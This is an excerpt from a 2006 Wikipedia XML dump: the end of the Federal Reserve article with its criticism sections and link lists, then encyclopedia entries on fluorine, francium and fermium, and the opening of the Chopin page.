Some critics argue that the Fed’s concentration on GDP or other aggregate indicators risks ignoring important changes in regional economies, and is an unsuitable proxy as an indicator of well-being. 

For example, critics argue that the Fed’s focus on reducing national inflation made it unable to adequately respond to the economic problems in the aftermath of Hurricane Katrina. Specifically, the Fed continued to tighten interest rates immediately after the Hurricane, which some see as evidence that the Fed has ignored the large losses in that devastated region. They argue that the Fed’s concern with aggregate national inflation measures, and the inflationary aspects of the large reconstruction effort (especially the potential for larger government budget deficits), made it unable to deal properly with the highly unusual but particularly devastating situation.

Another criticism is that the Fed places too much emphasis on GDP as a measure of well-being. Critics point to programs in the UK and Canada, such as the [[Genuine Progress Indicator]], which are intended to be a better indicator of both the benefits and costs of economic growth. Even more conservative commentators believe [[Net Domestic Product]] is a far better indicator than GDP of [[economic growth]], as GDP hides uneconomic growth and can lead to improper decisions.

However, this idea remains controversial. The Fed is notoriously tight-lipped about the measures and metrics which are used to make its decisions (see Opacity, directly below), and there is no support in the released transcripts (available for meetings up until 1999) for the notion that the Fed is overly focused on GDP and inflation alone. Rather, the transcripts indicate that the Fed watches a very wide basket of indicators, and that the members of the FOMC are certainly aware of the limitations of the GDP measure.

=== Opacity ===
Another criticism of the Federal Reserve is that it is shrouded in secrecy. Meetings are held behind closed doors, and the transcripts are released with a lag of five years. Even expert policy analysts are unsure as to the logic behind Fed decisions. Critics argue that such opacity leads to greater market volatility, as the markets must guess, often with only limited information, about how the Fed is likely to change policy in the future. The jargon-laden fence-sitting opaque style of Fed communication is often called &quot;Fed speak.&quot;
(see e.g. 
[http://www.federalreserve.gov/BOARDDOCS/SPEECHES/2004/200401032/default.htm]
[http://www.netfunny.com/rhf/jokes/95q2/greenspan.html]
[http://economistsview.blogspot.com/2005/06/fed-speak-from-atlanta-president-guynn.html])

Furthermore, the lag in the release of FOMC transcripts, as well as the extremely limited and carefully worded minutes and statement, leads to the public being unaware of the issues of major concern to the Fed, and leaves it with an inadequate understanding of the logic and rationale behind the decisions. Some argue that this is a concerted attempt to keep Congress and the public at arm’s length, but this criticism has not gained much widespread acceptance.

===Free banking===
Some advocate that the Fed should not exist, and that interest rates and money supply should be left to the free market. Advocates of [[free banking]] argue that there is no better judge of the proper interest rate and money supply than the market.

==Further reading==
* [[William Greider|Greider, William]] (1987). ''Secrets of the Temple''. Simon &amp; Schuster. ISBN 0671675567; a book intended for lay readers explaining the structures, functions, and history of the Federal Reserve, focusing specifically on the tenure of [[Paul Volcker]]
* Epstein, Lita &amp; Martin, Preston (2003). ''The Complete Idiot's Guide to the Federal Reserve''. Alpha Books. ISBN 0028643232.
* Meyer, Lawrence H (2004). ''A Term at the Fed : An Insider's View''. HarperBusiness. ISBN 0060542705; focuses on the period from 1996 to 2002, emphasizing [[Alan Greenspan|Alan Greenspan's]] chairmanship during the [[Asian financial crisis]], the [[dot-com|stock market boom]] and the [[September 11, 2001 attacks#Economic aftermath|financial aftermath]] of the [[September 11, 2001 attacks|September 11 attacks]]
* [[Murray Rothbard|Rothbard, Murray N.]] (1994). ''The Case Against the Fed''. [[Ludwig Von Mises Institute]]. ISBN 094546617X.
* [[G. Edward Griffin|Griffin, Edward G.]] (1998). &quot;The Creature from Jekyll Island: A second look at the Federal Reserve&quot;. American Media. ISBN 0912986212.

==References==
*Andrews, Edmund L. (Nov. 5, 2005). &quot;All for a more open Fed&quot;. ''[[New Straits Times]]'', p. 21.

==See also==
*[[Bank of Canada]]
*[[Bank of England]]
*[[Bank of Japan]]
*[[Discount window]]
*[[Economic reports]]
*[[European Central Bank]]
*[[Federal Funds]]
*[[Fort Knox Bullion Depository]]
*[[Free banking]]
*[[Gold standard]]
*[[Government debt]]
*[[Money market]]
*[[Money supply]]
*[[NESARA]] (National Economic Stabilization and Recovery Act) - Proposed legislation to reform the Federal Reserve System
*[[Repurchase agreement]]
*[[United States dollar]]
*[[Paul Warburg]]

==External links==
*[http://www.themoneymasters.com/presiden.htm U.S. Presidents comment on the Federal Reserve System over the years]  
*[http://www.federalreserve.gov Official Federal Reserve web site]
*[http://mises.org:88/Fed Video - Money, Banking and the Federal Reserve ]
*[http://www.federalreserveeducation.org/fed101/index.htm Official Federal Reserve education web site]
*[http://www.fededirectory.frb.org/ Federal Reserve E-Payments Routing Directory]
*[http://www.federalreserve.gov/GeneralInfo/fract/ The Federal Reserve Act, from federalreserve.gov]
*[http://landru.i-link-2.net/monques/mmm2.html Modern Money Mechanics] - Guide to currency and the Fed's role - originally published by the Federal Reserve Bank of Chicago

===Articles===
====History====
*[http://www.stlouisfed.org/publications/foregone/chapter_two.htm A Foregone Conclusion - St. Louis Fed]
*[http://minneapolisfed.org/pubs/region/89-05/reg895d.cfm Federal Reserve Bank of Minneapolis - The Region - Paul Warburg's Crusade to Establish a Central Bank in the United States (May 1989)]

====Criticism====
*[http://www.reformed-theology.org/realaudio/griffin_1.rm The Creature from Jekyll Island: A Lecture on the Federal Reserve (audio file)]
*[http://www.apfn.org/apfn/reserve.htm www.apfn.org/apfn/reserve.htm - Secrets of the Federal Reserve]
*[http://www.freedom-force.org/videos/video.cfm?&amp;player=2-1-05mandrake Video - How the Federal Reserve manipulates money using &quot;The Mandrake Mechanism&quot;]
*[http://www.house.gov/paul/congrec/congrec2002/cr091002b.htm ABOLISH THE FEDERAL RESERVE]
*[http://www.techccu.com/users/compwiz/Bankruptcy_Fraud/Bankfraud1.htm United States Bankruptcy Fraud, Core Section 1]
*[http://www.conservativeusa.org/vieir100.htm HOW TO RESTORE CONSTITUTIONAL MONEY: The Challenge]
*[http://www.fame.org The Foundation for the Advancement of Monetary Education (FAME)]
*[http://www.thenewamerican.com/tna/1997/vo13no11/vo13no11_charade.htm Fed's Inflation Charade]
*[http://www.aier.org/04conference/Papers/Darda.pdf The Restoration of a Ricardian Price Rule]
*[http://www.mises.org/multimedia/mp3/rothbard/Fed.mp3 The Founding of The Federal Reserve (audio file)]
*[http://www.fee.org/publications/the-freeman/article.asp?aid=5064 Ninety Years of Monetary Central Planning in the United States]
*[http://www.fff.org/toc/monetarypolicytoc.asp Monetary Central Planning and the State]
*[http://www.libertyhaven.com/regulationandpropertyrights/bankingmoneyorfinance/freebanking/solution.html The Solution]
*[http://www.lewrockwell.com/orig/englund2.html The Federal Reserve Has Destroyed the Meaning of Saving]
*[http://www.nesara.org NESARA Institute]
*[http://www.federal-reserve.net www.federal-reserve.net - opposition to the Fed]
*[http://www.nader.org/interest/021500.html Congress should stand up to the Fed] by [[Ralph Nader]]
*[http://www.tradersclub.com/dollarsign/billionsforbankers.shtml Billions for bankers, debts for the people] by Sheldon Emry
*[http://www.apfn.org/apfn/reserve.htm Secrets of the Federal Reserve - the London connection] by [[Eustace Mullins]]
*[http://libertyunbound.com/archive/2004_10/woolsey-fed.html Who owns the Fed?] by Bill Woolsey
*[http://www.mises.org/money.asp What has government done to our money?]  by [[Murray Rothbard]]
*[http://home.hiwaay.net/~becraft/VieiraMono4.htm The Federal Reserve System: a fatal parasite on the American body politic] by Edwin Vieira
*[http://www.archive.org/details/MoneyMasters The money masters - how international bankers gained control of America (1996)] (Freeview video) by Still Productions
*[http://www.relfe.com/plus_5_.html I want the earth plus 5%] by Larry Hannigan
*[http://www.iclei.org/index.php?id=2447 Montreal declaration of world municipal leaders], December 2005
*[http://econpapers.repec.org/paper/wpawuwpma/0203005.htm Fractional Reserve Banking as Economic Parasitism: A Scientific, Mathematical &amp; Historical Expose, Critique, and Manifest by Vladimir Z. Nuri]

====Other====
*[http://www.bankrate.com/nltrack/news/fed/20010627d.asp Know your Fed: A description of the Federal Reserve Board]
*[http://csmonitor.com/2005/1026/p10s01-usec.html How the Fed is run, and what it does] from the ''[[Christian Science Monitor]]'', by Mark Trumbull, [[October 26]], [[2005]]

[[Category:Federal Reserve| ]]

[[bg:Федерален резерв]]
[[da:USA's centralbank]]
[[de:Federal Reserve System]]
[[fr:Réserve fédérale des États-Unis]]
[[he:פדרל רזרב]]
[[it:Federal Reserve]]
[[ja:連邦準備制度]]
[[ka:ფედერალური სარეზერვო სისტემა]]
[[nl:Federal Reserve]]
[[no:Federal Reserve]]
[[pl:System Rezerwy Federalnej USA]]
[[ru:Федеральная резервная система]]
[[simple:Federal Reserve]]
[[sr:Савезне резерве САД]]
[[sv:Federal Reserve]]
[[zh:美国联邦储备系统]]</text>
    </revision>
  </page>
  <page>
    <title>Fluorine</title>
    <id>10820</id>
    <revision>
      <id>41504676</id>
      <timestamp>2006-02-27T20:38:57Z</timestamp>
      <contributor>
        <username>Ahoerstemeier</username>
        <id>7580</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.62.24.7|207.62.24.7]] ([[User talk:207.62.24.7|talk]]) to last version by 24.8.6.119</comment>
      <text xml:space="preserve">{{Elementbox_header | number=9 | symbol=F | name=fluorine | left=[[oxygen]] | right=[[neon]] | above=- | below=[[chlorine|Cl]] | color1=#ffff99 | color2=green }}
{{Elementbox_series | [[halogen]]s }}
{{Elementbox_groupperiodblock | group=17 | period=2 | block=p }}
{{Elementbox_appearance_img | F,9| pale greenish-yellow gas }}
{{Elementbox_atomicmass_gpm | [[1 E-26 kg|18.9984032]][[List of elements by atomic mass|(5)]] }}
{{Elementbox_econfig | 1s&lt;sup&gt;2&lt;/sup&gt; 2s&lt;sup&gt;2&lt;/sup&gt; 2p&lt;sup&gt;5&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 7 }}
{{Elementbox_section_physicalprop | color1=#ffff99 | color2=green }}
{{Elementbox_phase | [[gas]] }}
{{Elementbox_density_gplstp | 1.7 }}
{{Elementbox_meltingpoint | k=53.53 | c=-219.62 | f=-363.32 }}
{{Elementbox_boilingpoint | k=85.03 | c=-188.12 | f=-306.62 }}
{{Elementbox_heatfusion_kjpmol | (F&lt;sub&gt;2&lt;/sub&gt;) 0.510 }}
{{Elementbox_heatvaporiz_kjpmol | (F&lt;sub&gt;2&lt;/sub&gt;) 6.62 }}
{{Elementbox_heatcapacity_jpmolkat25 | (F&lt;sub&gt;2&lt;/sub&gt;)&lt;br /&gt;31.304 }}
{{Elementbox_vaporpressure_katpa | 38 | 44 | 50 | 58 | 69 | 85 | comment= }}
{{Elementbox_section_atomicprop | color1=#ffff99 | color2=green }}
{{Elementbox_crystalstruct | cubic }}
{{Elementbox_oxistates | &amp;minus;1&lt;br /&gt;(strongly [[acid]]ic oxide) }}
{{Elementbox_electroneg_pauling | 3.98 }}
{{Elementbox_ionizationenergies4 | 1681.0 | 3374.2 | 6050.4 }}
{{Elementbox_atomicradius_pm | [[1 E-11 m|50]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-11 m|42]] }}
{{Elementbox_covalentradius_pm | [[1 E-11 m|71]] }}
{{Elementbox_vanderwaalsrad_pm | [[1 E-10 m|147]] }}
{{Elementbox_section_miscellaneous | color1=#ffff99 | color2=green }}
{{Elementbox_magnetic | nonmagnetic }}
{{Elementbox_thermalcond_wpmkat300k | 27.7 m}}
{{Elementbox_cas_number | 7782-41-4 }}
{{Elementbox_isotopes_begin | isotopesof=fluorine | color1=#ffff99 | color2=green }}
{{Elementbox_isotopes_stable | mn=19 | sym=F | na='''100%''' | n=10 }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffff99 | color2=green }}

'''Fluorine''' (from L. ''fluere'', meaning &quot;to flow&quot;), is the [[chemical element]] in the [[periodic table]] that has the symbol '''F''' and [[atomic number]] 9. Atomic fluorine is [[univalent]] and is the most chemically reactive and [[electronegative]] of all the elements. In its pure form, it is a [[poison]]ous, pale, [[yellow]]-[[green]] gas, with chemical formula F&lt;sub&gt;2&lt;/sub&gt;.  Like other [[halogen]]s, molecular fluorine is highly dangerous; it causes severe chemical burns on contact with skin.

== Notable characteristics ==
Pure fluorine (F&lt;sub&gt;2&lt;/sub&gt;) is a corrosive pale yellow [[gas]] that is a powerful [[oxidation|oxidizing]] agent.  It is the most reactive and electronegative of all the elements, and readily forms compounds with most other elements. Fluorine even combines with the [[noble gas]]es [[krypton]], [[xenon]], and [[radon]]. Even in dark, cool conditions, fluorine reacts explosively with [[hydrogen]]. It is so reactive that [[glass]], [[metal]]s, and even [[water]], as well as other substances, burn with a bright flame in a jet of fluorine gas. It is far too reactive to be found in elemental form and has such an affinity for most elements, including [[silicon]], that it can neither be prepared nor should be kept in glass vessels. In moist air it reacts with water to form the equally dangerous [[hydrofluoric acid]].

In aqueous solution, fluorine commonly occurs as the fluoride ion F&lt;sup&gt;-&lt;/sup&gt;.  Other forms are fluoro-[[complex (chemistry)|complex]]es, such as [FeF&lt;sub&gt;4&lt;/sub&gt;]&lt;sup&gt;-&lt;/sup&gt;, or H&lt;sub&gt;2&lt;/sub&gt;F&lt;sup&gt;+&lt;/sup&gt;.

[[Fluoride]]s are compounds that combine fluoride with some positively charged counterpart. They often consist of [[ion]]s. Fluorine compounds with metals are among the most stable of salts.

== Applications ==
Atomic fluorine and molecular fluorine are used for [[plasma etching]] in [[semiconductor]] manufacturing, [[flat panel display]] production and [[MEMS]] fabrication. 
Other uses:
* [[Hydrofluoric acid]] (chemical formula [[hydrogen|H]]F) is used to etch glass in light bulbs and other products.
* Fluorine is indirectly used in the production of low friction [[plastic]]s such as [[Teflon]],  and in [[halon]]s such as [[Freon]].
* Along with some of its compounds, fluorine is used in the production of pure [[uranium]] from [[uranium hexafluoride]] and in the synthesis of numerous commercial fluorochemicals, including vitally important pharmaceuticals, agrochemical compounds, lubricants, and textiles.
* [[Hydrochlorofluorocarbon|Fluorochlorohydrocarbon]]s are used extensively in [[air conditioning]] and in [[refrigeration]]. [[Chlorofluorocarbon]]s have been banned for these applications because they contribute to the [[ozone hole]]. 
* [[Sulfur hexafluoride]] is an extremely inert and nontoxic gas, and a member of a class of compounds that are potent [[greenhouse gas]]es.
* Many important agents for general anaesthesia such as [[sevoflurane]], [[desflurane]], and [[isoflurane]] are [[fluorohydrocarbon]] derivatives.
* [[Sodium]] hexafluoro[[Aluminium|aluminate]] ([[cryolite]]), is used in the electrolysis of aluminium.
* [[Sodium fluoride]] has been used as an insecticide, especially against cockroaches.
* Some other [[fluoride]]s are often added to [[toothpaste]] and, somewhat controversially, to municipal water supplies to prevent dental cavities.
* Fluorides have been used in the past to help molten metal flow, hence the name.
* &lt;sup&gt;18&lt;/sup&gt;F, a radioactive isotope that emits [[positron|positrons]], is often used in [[positron emission tomography]] because of its half-life of 110 minutes.

Some researchers including US space scientists in the early 1960s have studied elemental fluorine gas as a possible [[rocket fuel|rocket propellant]] due to its exceptionally high [[specific impulse]]. Experiments failed since fluorine was so hard to handle.

== History ==
Fluorine in the form of [[fluorite|fluorspar]] (also called [[fluorite]]) ([[calcium fluoride]]) was described in [[1529]] by [[Georg Agricola|Georgius Agricola]] for its use as a [[Flux (metallurgy)|flux]], which is a substance that is used to promote the fusion of [[metal]]s or [[mineral]]s. In [[1670]] [[Schwandhard]] found that glass was etched when it was exposed to [[fluorspar]] that was treated with [[acid]]. [[Karl Scheele]] and many later researchers, including [[Humphry Davy]], [[Joseph Louis Gay-Lussac|Gay-Lussac]], [[Antoine Lavoisier]], and [[Louis Jacques Thenard|Louis Thenard]] all would experiment with hydrofluoric acid, easily obtained by treating calcium fluoride ([[fluorite|fluorspar]]) with concentrated sulfuric acid.

It was eventually realized that hydrofluoric acid contained a previously unknown element. This element was not isolated for many years after this due to its extreme reactivity - it is separated from its compounds only with difficulty and then it immediately attacks the remaining materials of the compound. Finally, in [[1886]], fluorine was isolated by [[Henri Moissan]] after almost 74 years of continuous effort. It was an effort which cost several researchers their health or even their lives, and for Moissan, it earned him the 1906 Nobel Prize in chemistry.

The first large scale production of fluorine was needed for the [[atomic bomb]] [[Manhattan project]] in [[World War II]] where the compound [[uranium hexafluoride]] (UF&lt;sub&gt;6&lt;/sub&gt;) was used to separate the &lt;sup&gt;235&lt;/sup&gt;U and &lt;sup&gt;238&lt;/sup&gt;U [[isotope]]s of [[uranium]]. Today both the [[gaseous diffusion]] process and the [[gas centrifuge]] process use gaseous (UF&lt;sub&gt;6&lt;/sub&gt;) to produce [[enriched uranium]] for [[nuclear power]] applications.

The derivation of elemental fluorine from hydrofluoric acid is exceptionally dangerous, killing or blinding several scientists who attempted early experiments on this halogen. These men came to be referred to as &quot;Fluorine Martyrs.&quot;

== Precautions ==
Both fluorine and HF must be handled with great care and any contact with [[skin]] and [[eye]]s should be strictly avoided. All equipment must be [[passivation|passivated]] before exposure to fluorine.

Contact with exposed skin may result in the HF molecule rapidly migrating through the skin and flesh into the bone where it reacts with calcium permanently damaging the bone, followed by cardiac arrest brought on by sudden chemical changes within the body.

Both elemental fluorine and fluoride ions are highly toxic. When it is a free element, fluorine has a characteristic pungent odor that is detectable in concentrations as low as 20 nL/L. It is recommended that the maximum allowable concentration for a daily 8-hour time-weighted exposure is 1 µL/L ([[part per million|part per million by volume]]) (lower than, for example, [[hydrogen cyanide]]).

Fluorine is a powerful oxidizer which can cause organic material, combustibles, or other flammable materials to ignite. However, safe handling procedures enable the [[transport]] of liquid fluorine by the ton.

== Preparation ==
Elemental fluorine is prepared industrially by [[Henri Moissan|Moissan]]'s original process: electrolysis of anhydrous HF in which KHF&lt;sub&gt;2&lt;/sub&gt; has been dissolved to provide enough ions for conduction to take place.

In 1986, preparing for a conference to celebrate the 100th aniversary of the discovery of fluorine, [[Karl Christe]] discovered a purely-chemical preparation by reacting together at 150 °C solutions in anhydrous HF of K&lt;sub&gt;2&lt;/sub&gt;MnF&lt;sub&gt;6&lt;/sub&gt; and of [[antimony pentafluoride|SbF&lt;sub&gt;5&lt;/sub&gt;]].  This is not a practical synthesis, but demonstrates that electrolysis is not essential.

== Compounds ==
[[Image:Fluorite_crystals_270x444.jpg|thumb|right|100px|Fluorite (CaF&lt;sub&gt;2&lt;/sub&gt;) crystals]]
Fluorine can often be substituted for [[hydrogen]] when it occurs in organic compounds. Through this mechanism, fluorine can have a very large number of [[chemical compound|compound]]s. Fluorine compounds involving noble gases were first synthesised by [[Neil Bartlett]] in [[1962]] - xenon hexafluoroplatinate, XePtF&lt;sub&gt;6&lt;/sub&gt;, being the first. Fluorides of [[krypton]] and [[radon]] have also been prepared.  Also argon fluorohydride has been prepared, although it is only stable at cryogenic temperatures.
This element is recovered from [[fluorite]], [[cryolite]], and [[fluorapatite]]. 

*[[Ammonium fluoride]] (NH&lt;sub&gt;4&lt;/sub&gt;F) 
*[[Antimony pentafluoride]] (SbF&lt;sub&gt;5&lt;/sub&gt;) 
*[[Boron trifluoride]] (BF&lt;sub&gt;3&lt;/sub&gt;) 
*[[Bromine pentafluoride]] (BrF&lt;sub&gt;5&lt;/sub&gt;) 
*[[Bromine trifluoride]] (BrF&lt;sub&gt;3&lt;/sub&gt;) 
*[[Caesium fluoride]] (CsF) 
*[[Calcium fluoride]]  (CaF&lt;sub&gt;2&lt;/sub&gt;) 
*[[Chlorine pentafluoride]] (ClF&lt;sub&gt;5&lt;/sub&gt;) 
*[[Fluorosulfuric acid]] (FSO&lt;sub&gt;3&lt;/sub&gt;(H) 
*[[Hydrofluoric acid]] (HF) 
*[[Iodine pentafluoride]] (IF&lt;sub&gt;5&lt;/sub&gt;) 
*[[Iodine heptafluoride]] (IF&lt;sub&gt;7&lt;/sub&gt;) 
*[[Lithium fluoride]] (LiF) 
*[[Nitrogen trifluoride]] (NF&lt;sub&gt;3&lt;/sub&gt;) 
*[[Nitrosyl fluoride]] (NOF) 
*[[Nitryl fluoride]] (NO&lt;sub&gt;2&lt;/sub&gt;F) 
*[[Phosphorus trifluoride]] (PF&lt;sub&gt;3&lt;/sub&gt;) 
*[[Phosphorus pentafluoride]] (PF&lt;sub&gt;5&lt;/sub&gt;) 
*[[Potassium fluoride]] (KF) 
*[[Radon difluoride]]  (RnF&lt;sub&gt;2&lt;/sub&gt;) 
*[[Silver(I) fluoride]]  (AgF) 
*[[Sulfur hexafluoride]] (SF&lt;sub&gt;6&lt;/sub&gt;) 
*[[Thionyl fluoride]] (SOF&lt;sub&gt;2&lt;/sub&gt;) 
*[[Tungsten(VI) fluoride]] (WF&lt;sub&gt;6&lt;/sub&gt;) 
*[[Uranium hexafluoride]] (UF&lt;sub&gt;6&lt;/sub&gt;) 
*[[Xenon hexafluoroplatinate]] (XePtF&lt;sub&gt;6&lt;/sub&gt;)
*[[Xenon tetrafluoride]] (XeF&lt;sub&gt;4&lt;/sub&gt;)

==See also==
* [[Fluorocarbon]]
* [[Isotopes of fluorine]]

==References==
*[http://periodic.lanl.gov/elements/9.html Los Alamos National Laboratory &amp;ndash; Fluorine]

== External links ==
{{Commons|Fluorine}}
* [http://www.webelements.com/webelements/elements/text/F/index.html WebElements.com &amp;ndash; Fluorine]
* [http://education.jlab.org/itselemental/ele009.html It's Elemental &amp;ndash; Fluorine]
* [http://www.chemie-master.de/pse/pse.php?modul=F Picture of liquid fluorine &amp;ndash; chemie-master.de]
* [http://www.chemsoc.org/viselements/pages/fluorine.html Chemsoc.org]
* [http://nautilus.fis.uc.pt/st2.5/index-en.html Periodic Table of Elements]

[[Category:Chemical elements]]
[[Category:Halogens]]

[[af:Fluoor]]
[[ar:فلور]]
[[bs:Fluor]]
[[ca:Fluor]]
[[cs:Fluor]]
[[cy:Fflworin]]
[[da:Fluor]]
[[de:Fluor]]
[[et:Fluor]]
[[el:Φθόριο]]
[[es:Flúor]]
[[eo:Fluoro]]
[[eu:Fluor]]
[[fr:Fluor]]
[[ko:플루오린]]
[[io:Fluoro]]
[[id:Fluorin]]
[[is:Flúor]]
[[it:Fluoro]]
[[he:פלואור]]
[[lv:Fluors]]
[[lt:Fluoras]]
[[hu:Fluor]]
[[mi:Hau kōwhai]]
[[nl:Fluor]]
[[ja:フッ素]]
[[no:Fluor]]
[[nn:Fluor]]
[[pl:Fluor]]
[[pt:Flúor]]
[[ru:Фтор]]
[[sk:Fluór]]
[[sl:Fluor]]
[[sr:Флуор]]
[[fi:Fluori]]
[[sv:Fluor]]
[[th:ฟลูออรีน]]
[[vi:Flo]]
[[tr:Flor]]
[[uk:Фтор]]
[[zh:氟]]</text>
    </revision>
  </page>
  <page>
    <title>Francium</title>
    <id>10821</id>
    <revision>
      <id>40656700</id>
      <timestamp>2006-02-22T02:41:46Z</timestamp>
      <contributor>
        <ip>202.134.34.197</ip>
      </contributor>
      <comment>/* Characteristics */</comment>
      <text xml:space="preserve">{{Elementbox_header | number=87 | symbol=Fr | name=francium | left=[[radon]] | right=[[radium]] | above=[[caesium|Cs]] | below=[[Ununennium|Uue]] | color1=#ff6666 | color2=black }}
{{Elementbox_series | [[alkali metal]]s }}
{{Elementbox_groupperiodblock | group=1 | period=7 | block=s }}
{{Elementbox_appearance | metallic }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|(223)]] }}
{{Elementbox_econfig | &amp;#91;[[radon|Rn]]&amp;#93; 7s&lt;sup&gt;1&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 18, 32, 18, 8, 1 }}
{{Elementbox_section_physicalprop | color1=#ff6666 | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | ? 1.87 }}
{{Elementbox_meltingpoint | k=300 | c=27 | f=80 }}
{{Elementbox_boilingpoint | k=? 950 | c=? 677 | f=? }}
{{Elementbox_heatfusion_kjpmol | ca. 2 }}
{{Elementbox_heatvaporiz_kjpmol | ca. 65 }}
{{Elementbox_vaporpressure_katpa | 404 | 454 | 519 | 608 | 738 | 946 | comment=(extrapolated) }}
{{Elementbox_section_atomicprop | color1=#ff6666 | color2=black }}
{{Elementbox_crystalstruct | cubic body centered }}
{{Elementbox_oxistates | 1&lt;br /&gt;(strongly [[base (chemistry)|basic]] oxide) }}
{{Elementbox_electroneg_pauling | 0.7 }}
{{Elementbox_ionizationenergies1 | 380 }}
{{Elementbox_section_miscellaneous | color1=#ff6666 | color2=black }}
{{Elementbox_magnetic | ? }}
{{Elementbox_eresist_ohmm | ? 3 µ}}
{{Elementbox_thermalcond_wpmkat300k | ? 15 }}
{{Elementbox_cas_number | 7440-73-5 }}
{{Elementbox_isotopes_begin | isotopesof=francium | color1=#ff6666 | color2=black }}
{{Elementbox_isotopes_decay | mn=222 | sym=Fr
 | na=[[synthetic radioisotope|syn]] | hl=14.2 [[minute|min]]
 | dm=[[beta emission|β&lt;sup&gt;-&lt;/sup&gt;]] | de=2.033 | pn=222 | ps=[[radium|Ra]] }}
{{Elementbox_isotopes_decay2 | mn=223 | sym=Fr
 | na=100% | hl=22.00 min
 | dm1=β&lt;sup&gt;-&lt;/sup&gt; | de1=1.149 | pn1=221 | ps1=[[radium|Ra]]
 | dm2=[[alpha emission|&amp;#945;]] | de2=5.430 | pn2=219 | ps2=[[astatine|At]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ff6666 | color2=black }}

'''Francium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Fr''' and [[atomic number]] 87. This is a highly [[radioactive]] [[alkali metal]] that is found in very small amounts in [[uranium]] and [[thorium]] ores.

== Characteristics ==

This element, which was named for [[France]], was discovered in [[1939]] by [[Marguerite Perey]] of the [[Curie Institute (Paris)|Curie Institute]] in [[Paris]]. Francium is the heaviest alkali metal and occurs as a result of [[actinium]]'s [[alpha decay]] and can be artificially made by bombarding [[thorium]] with [[proton]]s.

Even though it naturally occurs in [[uranium]] [[mineral]]s, it has been estimated that there might be less than 30 grams of francium in the [[Crust (geology)|earth's crust]] at any one time, making it possibly one of the [[Abundance_of_the_chemical_elements|rarest elements]] in the crust, along with [[astatine]]. It is also the most unstable element among the first 101 and has the highest [[equivalent weight]] of any element.

There are 41 known [[isotope]]s of francium, the most of any element. With a 22-minute [[half life]], the longest lived isotope of this element is &lt;sup&gt;223&lt;/sup&gt;Fr which is a daughter isotope of &lt;sup&gt;227&lt;/sup&gt;[[actinium|Ac]] and is the only isotope of francium that occurs naturally. All known isotopes of francium are highly unstable, therefore knowledge of the properties of this element only comes from radiochemical procedures.

A small number of pictures of francium have been taken, but only of at the most 350,000 atoms at a time. The images were made by trapping the atoms and using a special [[fluorescent]] imaging camera.  The atoms were produced by a nuclear transformation with a [[particle accelerator]] at [[Stony Brook University]]. &lt;sup&gt;18&lt;/sup&gt;O  nuclei are accelerated to an energy of 100 M[[Electron volt|eV]], to have sufficient energy to fuse with a [[gold]] nucleus and create nuclei of francium.  The Fr nuclei last for typically three minutes, and must be trapped and observed before they decay.

This element is the least [[electronegative]].  Its electronegativity is 0.7 and [[caesium]] is right behind it.

==References==
*[http://periodic.lanl.gov/elements/87.html Los Alamos National Laboratory - Francium]
*[http://fr.physics.sunysb.edu/francium_news/frconten.htm Stony Brook University Physics Dept.]

==External links==
{{Commons|Francium}}
*[http://www.webelements.com/webelements/elements/text/Fr/index.html WebElements.com - Francium]
*[http://www.andyscouse.com/pages/francium.htm Chemical information for Francium]

[[Category:Chemical elements]]
[[Category:Alkali metals]]

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'''Fermium''' is a [[synthetic element]] in the [[periodic table]] that has the symbol '''Fm''' and [[atomic number]] 100. A highly [[radioactive]] [[metal]]lic [[transuranic]] element of the [[actinide]] series, fermium is made by bombarding [[plutonium]] with [[neutron]]s and is named after nuclear physicist [[Enrico Fermi]]. 

== Notable characteristics ==
Only small amounts of fermium have ever been produced or isolated. Thus relatively little is known about its chemical properties. Only the (III) [[oxidation state]] of the element appears to exist in aqueous solution. Fermium-254 and heavier [[isotope]]s can be synthesized by intense [[neutron]] bombardment of lighter elements (especially [[uranium]] and [[plutonium]]). During this, successive [[neutron capture]]s mixed with [[beta decay]]s build the fermium isotope. The intense neutron bombardment conditions needed to create fermium exist in [[thermonuclear explosion]]s and can be replicated in the laboratory (such as in the [[High Flux Isotope Reactor]] at [[Oak Ridge National Laboratory]]). The synthesis of element 102 ([[nobelium]]) was confirmed when fermium-250 was chemically identified. There are no known uses of fermium outside of basic research. Fermium is the eighth [[transuranic element]]. 

== History ==
Fermium (after [[Enrico Fermi]]) was first [[discovery of the chemical elements | discovered]] by a team led by [[Albert Ghiorso]] in [[1952]]. The team found fermium-255 in the debris of the first [[hydrogen bomb]] explosion (see [[Operation Ivy]]). That isotope was created when uranium-238 combined with 17 neutrons in the intense temperature and pressure of the explosion (eight beta decays also occurred to create the element). The work was overseen by the [[University of California Radiation Laboratory]], [[Argonne National Laboratory]], and [[Los Alamos Scientific Laboratory]]. 

All these findings were kept secret until [[1955]] due to [[Cold War]] tensions, however. In late [[1953]] and early [[1954]] a team from the [[Nobel Institute of Physics]] in [[Stockholm]] bombarded a [[uranium]]-238 target with [[oxygen]]-16 ions, producing an [[alpha emission|alpha-emitter]] with an [[atomic weight]] of ~250 and with 100 [[proton]]s (in other words, element 100-250). The Nobel team did not claim discovery but the isotope they produced was later positively identified as fermium-250.

== Isotopes ==
17 [[radioisotope]]s

==References==
*[http://periodic.lanl.gov/elements/100.html Los Alamos National Laboratory - Fermium]
*''Guide to the Elements - Revised Edition'', Albert Stwertka, (Oxford University Press; 1998) ISBN 0-19-508083-1 
*[http://education.jlab.org/itselemental/ele100.html It's Elemental -Fermium]
*&quot;Fermium&quot; is the name of a song by [[Autechre]], appearing on their 2005 album [[Untilted]].

== External links ==
{{Commons|Fermium}}
*[http://www.webelements.com/webelements/elements/text/Fm/index.html WebElements.com - Fermium]

[[Category:Chemical elements]]
[[Category:Actinides]]

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    <title>Frédéric Chopin</title>
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[[Image:Eugène Ferdinand Victor Delacroix 043.jpg|thumb|right|250px|Frédéric François Chopin as portrayed by [[Eugène Delacroix]] in [[1838]]. Originally this painting was part of a larger double portrait showing both Chopin and [[George Sand]].]]

